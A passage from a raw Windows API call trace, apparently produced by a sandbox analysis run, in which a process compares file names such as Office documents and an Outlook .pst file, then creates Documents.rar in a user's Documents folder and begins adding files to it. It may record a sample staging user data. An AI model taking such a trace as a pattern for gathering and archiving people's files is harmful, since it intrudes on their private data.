cchCount1=-1, lpString2="Outlook Files\\kkcie@kdj.kd.pst", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="Outlook Files\\kkcie@kdj.kd.pst", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="Outlook Files", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="Outlook Files", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="nt5k6gcCx.pdf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="nt5k6gcCx.pdf", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="NdfE2nFSq.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="NdfE2nFSq.xlsx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="Outlook Files", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="Outlook Files", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="nt5k6gcCx.pdf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="nt5k6gcCx.pdf", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="NdfE2nFSq.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="NdfE2nFSq.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\1q4uHOxj.odt", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="nt5k6gcCx.pdf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="nt5k6gcCx.pdf", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="NdfE2nFSq.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="NdfE2nFSq.xlsx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\KzP2.csv", cchCount1=-1, lpString2="-3PSVPdo1rq8.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\KzP2.csv", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="NdfE2nFSq.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.562] CompareStringOrdinal (lpString1="NdfE2nFSq.xlsx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\L_jtuZX b2fVSoNPf.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\rDvRexnp0.xls", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\QrQLcl.csv", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.562] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\QrQLcl.csv", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.562] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f9df0 | out: hHeap=0x1162e7c0000) returned 1 [0062.562] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x100000) returned 0x11631c90040 [0062.564] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10c0) returned 0x1162e890d70 [0062.564] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10c0) returned 0x1162e891e40 [0062.564] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10000) returned 0x1162e8a0c70 [0062.565] CryptAcquireContextW (in: phProv=0x141a0dd810, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd810*=0x1163022fb10) returned 1 [0062.571] CryptGenRandom (in: hProv=0x1163022fb10, dwLen=0x10, pbBuffer=0x141a0dd890 | out: pbBuffer=0x141a0dd890) returned 1 [0062.571] CryptReleaseContext (hProv=0x1163022fb10, dwFlags=0x0) returned 1 [0062.571] GetSystemTime (in: lpSystemTime=0x141a0dd7a8 | out: lpSystemTime=0x141a0dd7a8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x28, wMilliseconds=0x35)) [0062.571] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7a8, lpFileTime=0x141a0dd7a0 | out: lpFileTime=0x141a0dd7a0) returned 1 [0062.571] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd7d0 | out: lpPerformanceCount=0x141a0dd7d0*=15389937088) returned 1 [0062.571] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x100000) returned 0x11631da2040 [0062.574] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10c0) returned 0x1162e892f10 [0062.574] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10c0) returned 0x1162e895de0 [0062.574] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10000) returned 0x1163022fb10 [0062.574] CryptAcquireContextW (in: phProv=0x141a0dd810, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd810*=0x1162e893fe0) returned 1 [0062.574] CryptGenRandom (in: hProv=0x1162e893fe0, dwLen=0x10, pbBuffer=0x141a0dd890 | out: pbBuffer=0x141a0dd890) returned 1 [0062.574] CryptReleaseContext (hProv=0x1162e893fe0, dwFlags=0x0) returned 1 [0062.574] GetSystemTime (in: lpSystemTime=0x141a0dd7a8 | out: lpSystemTime=0x141a0dd7a8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x28, wMilliseconds=0x45)) [0062.574] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7a8, lpFileTime=0x141a0dd7a0 | out: lpFileTime=0x141a0dd7a0) returned 1 [0062.574] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd7d0 | out: lpPerformanceCount=0x141a0dd7d0*=15390308705) returned 1 [0062.575] CreateFileW (lpFileName="Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0062.575] GetLastError () returned 0x2 [0062.575] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0da770 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0062.575] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0062.575] GetLastError () returned 0x2 [0062.575] CreateFileW (lpFileName="Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0062.575] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x20d, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="Creating archive %s") returned 0x13 [0062.575] GetLastError () returned 0x0 [0062.575] SetLastError (dwErrCode=0x0) [0062.575] SetDlgItemTextW (hDlg=0x102f8, nIDDlgItem=165, lpString="Documents.rar") returned 1 [0062.576] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0daba0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.576] SetWindowTextW (hWnd=0x102f8, lpString="Creating archive Documents.rar") returned 1 [0062.578] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0062.578] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0d9750, nMaxCount=2560 | out: lpString="59 files found") returned 14 [0062.578] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0062.578] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0d9750, nMaxCount=2560 | out: lpString="") returned 0 [0062.578] GetTickCount () returned 0x25913 [0062.578] UpdateWindow (hWnd=0x102f8) returned 1 [0062.578] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0db750*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0db750*=0) returned 0x0 [0062.578] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d7e30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d7e30*=0) returned 0x0 [0062.578] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa00 [0062.578] WriteFile (in: hFile=0x32c, lpBuffer=0x141a0e2f80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x141a0d64b0, lpOverlapped=0x0 | out: lpBuffer=0x141a0e2f80*, lpNumberOfBytesWritten=0x141a0d64b0*=0x8, lpOverlapped=0x0) returned 1 [0062.579] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e88aa00 | out: hHeap=0x1162e7c0000) returned 1 [0062.579] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d7e30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d7e30*=0) returned 0x8 [0062.579] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa00 [0062.579] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa30 [0062.579] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e8942a0 [0062.579] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e894210 [0062.579] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8942a0 | out: hHeap=0x1162e7c0000) returned 1 [0062.579] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e88aa30 | out: hHeap=0x1162e7c0000) returned 1 [0062.579] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e88aa03*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x141a0d6470, lpOverlapped=0x0 | out: lpBuffer=0x1162e88aa03*, lpNumberOfBytesWritten=0x141a0d6470*=0x11, lpOverlapped=0x0) returned 1 [0062.579] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e894210 | out: hHeap=0x1162e7c0000) returned 1 [0062.579] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e88aa00 | out: hHeap=0x1162e7c0000) returned 1 [0062.579] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x60) returned 0x1162e7fa2c0 [0062.579] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7fa2c0 | out: hHeap=0x1162e7c0000) returned 1 [0062.579] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6328) returned 0x1162e896eb0 [0062.579] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x358) returned 0x1162e8947f0 [0062.579] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x338 [0062.579] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x33c [0062.579] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x40000) returned 0x1163023fb20 [0062.580] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x358) returned 0x1162e89d1e0 [0062.580] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x340 [0062.580] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x344 [0062.580] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xe980) returned 0x11631eb0080 [0062.581] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8003) returned 0x1162e8b0c80 [0062.581] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8003) returned 0x1163027fb30 [0062.582] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x358) returned 0x1162e89d540 [0062.582] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x348 [0062.582] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x34c [0062.583] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x100000) returned 0x116320bc040 [0062.585] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x46c8) returned 0x11630287b40 [0062.586] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10000000) returned 0x116321c6040 [0065.494] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4001011) returned 0x116421d8040 [0076.727] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4000) returned 0x1162e8b8c90 [0076.727] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x80000) returned 0x11631ebea10 [0076.728] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x100000) returned 0x116461e9040 [0076.745] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4000000) returned 0x116462fa040 [0076.967] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x40000) returned 0x11631f3ea20 [0076.967] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x910a0) returned 0x11631f7ea30 [0080.879] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1c00000) returned 0x1164a30c040 [0080.970] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x400000) returned 0x1164bf14040 [0080.978] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8090) returned 0x1163200fae0 [0080.978] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8090) returned 0x11632017b80 [0080.978] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8090) returned 0x1163201fc20 [0080.979] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8090) returned 0x11632027cc0 [0080.979] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x200000) returned 0x1164c32e040 [0081.001] FindFirstFileW (in: lpFileName="-3PSVPdo1rq8.docx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1162e895900 [0081.001] FindClose (in: hFindFile=0x1162e895900 | out: hFindFile=0x1162e895900) returned 1 [0081.001] CreateFileW (lpFileName="-3PSVPdo1rq8.docx" (normalized: "c:\\users\\fd1hvy\\documents\\-3psvpdo1rq8.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0081.001] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0081.001] GetTickCount () returned 0x2a108 [0081.001] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd3b0 | out: lpPerformanceCount=0x141a0dd3b0*=17233011526) returned 1 [0081.002] GetLastError () returned 0x0 [0081.002] SetLastError (dwErrCode=0x0) [0081.002] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0081.002] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0081.002] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.002] ShowWindow (hWnd=0x10304, nCmdShow=9) returned 1 [0081.002] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0081.004] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0081.004] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0081.004] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="59 files found") returned 14 [0081.004] SetWindowTextW (hWnd=0x102fe, lpString="adding") returned 1 [0081.005] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0081.005] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="") returned 0 [0081.005] SetWindowTextW (hWnd=0x10300, lpString="-3PSVPdo1rq8.docx") returned 1 [0081.006] GetTickCount () returned 0x2a108 [0081.006] UpdateWindow (hWnd=0x102f8) returned 1 [0081.006] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0081.009] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0081.009] GetFocus () returned 0x1031c [0081.010] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 0 [0081.010] GetKeyState (nVirtKey=16) returned 0 [0081.010] TranslateAcceleratorW (hWnd=0x102f8, hAccTable=0x1033f, lpMsg=0x141a0dd830) returned 0 [0081.010] TranslateMessage (lpMsg=0x141a0dd830) returned 0 [0081.010] DispatchMessageW (lpMsg=0x141a0dd830) returned 0x1 [0081.010] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x1162e894b50) returned 1 [0081.010] CryptGenRandom (in: hProv=0x1162e894b50, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0081.010] CryptReleaseContext (hProv=0x1162e894b50, dwFlags=0x0) returned 1 [0081.010] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3a, wMilliseconds=0x1eb)) [0081.010] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0081.010] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17233895528) returned 1 [0081.010] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xc38) returned 0x1162e88eab0 [0081.011] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x5899, lpOverlapped=0x0) returned 1 [0081.020] ReadFile (in: hFile=0x350, lpBuffer=0x11631b938d9, nNumberOfBytesToRead=0xfa767, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b938d9*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0081.020] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa00 [0081.020] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa30 [0081.020] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e88aa30, Size=0x48) returned 0x1162e8891c0 [0081.020] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0081.020] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa30 [0081.020] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e88aa30, Size=0x48) returned 0x1162e888680 [0081.020] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0081.020] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8891c0 | out: hHeap=0x1162e7c0000) returned 1 [0081.020] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88aa30 [0081.020] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e8943c0 [0081.020] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8943c0 | out: hHeap=0x1162e7c0000) returned 1 [0081.020] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e88aa30 | out: hHeap=0x1162e7c0000) returned 1 [0081.020] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e88aa00, Size=0x48) returned 0x1162e888ea0 [0081.020] RtlReAllocateHeap 